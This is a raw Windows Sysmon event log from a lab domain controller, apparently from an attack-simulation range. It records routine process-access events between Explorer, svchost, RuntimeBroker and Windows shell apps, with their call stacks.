23542300x800000000000000046343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.411{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=317F846D70D6CFE1F72B2E3013C8A4AC,SHA256=91BDFCC4349AE8F50F95392CC4A31ECB6D1598730083B11E8307B217841046A3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.286{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.Desktop.dll+418c2|C:\Windows\system32\windows.cortana.Desktop.dll+41968|C:\Windows\system32\windows.cortana.Desktop.dll+16557|C:\Windows\system32\windows.cortana.Desktop.dll+12d9b|C:\Windows\system32\windows.cortana.Desktop.dll+15c7|C:\Windows\system32\windows.cortana.Desktop.dll+44bd|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000046341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.286{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.Desktop.dll+418c2|C:\Windows\system32\windows.cortana.Desktop.dll+41680|C:\Windows\system32\windows.cortana.Desktop.dll+92dc|C:\Windows\system32\windows.cortana.Desktop.dll+12d31|C:\Windows\system32\windows.cortana.Desktop.dll+15c7|C:\Windows\system32\windows.cortana.Desktop.dll+44bd|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000046340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.286{7BD73061-6D0F-613B-9406-00000000F001}44806640C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.286{7BD73061-6D0F-613B-9406-00000000F001}44806640C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.271{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+1a962|C:\Windows\system32\windows.cortana.onecore.dll+16e12|C:\Windows\system32\windows.cortana.onecore.dll+16d5b|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000046337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.271{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+6198|C:\Windows\system32\windows.cortana.onecore.dll+16cb1|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000046336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.271{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000046335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.271{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000046334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.255{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.255{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.255{7BD73061-65BF-613B-2B00-00000000F001}29645192C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\tileobjserver.dll+bce2|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000046331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.255{7BD73061-65BF-613B-2B00-00000000F001}29645192C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|c:\windows\system32\tileobjserver.dll+bc8f|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000046330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.255{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.255{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.255{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.239{7BD73061-65B2-613B-0D00-00000000F001}8925232C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 